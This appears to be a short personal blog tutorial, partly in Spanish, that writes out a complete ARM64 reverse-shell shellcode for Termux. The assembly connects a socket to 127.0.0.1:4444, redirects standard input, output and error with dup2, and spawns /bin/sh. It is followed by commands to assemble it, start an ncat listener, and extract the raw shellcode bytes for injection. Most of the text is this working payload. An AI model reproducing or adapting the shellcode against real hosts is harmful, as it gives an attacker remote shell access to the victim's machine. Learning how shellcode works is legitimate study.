shellcode-termux-arm

2 minute read

  2 minute read

bat $PREFIX/include/asm-generic/unistd.h 
.global _start

.section .text
_start:
    // set the frame pointer
    mov fp, sp

    // clear required registers
    eor x0, x0, x0
    eor x1, x1, x1
    eor x2, x2, x2

    // create sockaddr_in struct
    sub sp, sp, #32      // Reservar espacio en la pila (32 bytes para alineación)
    str xzr, [sp, #16]   // 8 bytes de padding
    str xzr, [sp, #8]    // 8 bytes más de padding

    // Configurar sin_family (AF_INET = 2)
    mov x1, #0x02        // AF_INET
    strh w1, [sp, #0]    // Almacenar sin_family en el offset 0

    // Configurar sin_port (4444 en orden de red)
    mov x1, #0x115c      // Puerto 4444 en orden de host (big-endian)
    rev16 w1, w1         // Convertir a orden de red (big-endian)
    strh w1, [sp, #2]    // Almacenar sin_port en el offset 2

    // Configurar sin_addr (127.0.0.1 en orden de red)
    ldr x1, =0x0100007f  // 127.0.0.1 en orden de red (big-endian)
    str w1, [sp, #4]     // Almacenar sin_addr en el offset 4

    // call socket(domain, type, protocol)
    mov x0, #2           // AF_INET
    mov x1, #1           // SOCK_STREAM
    mov x2, #0           // protocol
    mov x8, #198         // socket syscall number (198 for ARM64)
    svc #0
    cmp x0, #0           // Verificar si socket() falló
    b.lt _exit           // Si falló, salir
    mov x4, x0           // x4: socket file descriptor

    // call connect(sockfd, sockaddr, socklen_t)
    mov x0, x4           // sockfd
    mov x1, sp           // sockaddr
    mov x2, #16          // socklen_t
    mov x8, #203         // connect syscall number (203 for ARM64)
    svc #0
    cmp x0, #0           // Verificar si connect() falló
    b.lt _exit           // Si falló, salir

    // call dup2 to redirect STDIN, STDOUT and STDERR
    mov x5, #3           // counter for STDIN, STDOUT, STDERR
dup_loop:
    mov x0, x4           // sockfd
    sub x5, x5, #1       // decrement counter
    mov x1, x5           // newfd
    mov x8, #24          // dup2 syscall number (24 for ARM64)
    svc #0
    cmp x5, #0
    b.ne dup_loop

    // spawn /bin/sh using execve
    // x1 and x2 are 0 at this point
    eor x0, x0, x0
    eor x1, x1, x1
    eor x2, x2, x2
    sub sp, sp, #16       // Reservar espacio en la pila (16 bytes para alineación)
    str xzr, [sp, #8]    // Push null terminator
    ldr x0, =0x68732f2f6e69622f  // "/bin//sh" in little-endian
    str x0, [sp, #0]     // Push "/bin//sh"
    mov x0, sp           // [x0]: pointer to "/bin//sh"
    mov x8, #221         // execve syscall number (221 for ARM64)
    svc #0

_exit:
    // Exit the program
    mov x8, #93          // exit syscall number (93 for ARM64)
    svc #0 

Compilation

as -o shellcode.o shellcode.s
ld -o shellcode shellcode.o

Comprobación

ncat -lvp 4444

Then

./shellcode 

Optener el código magina

Extraemos los bytecode

objcopy -O binary shellcode shellcode.bin   

**Extraemos byte code de binario

hexdump -v -e '"\\" 1/1 "x%02x"' shellcode.bin; echo    

El resultado se compara con el resultado de la 2 columna:

objdump -d shellcode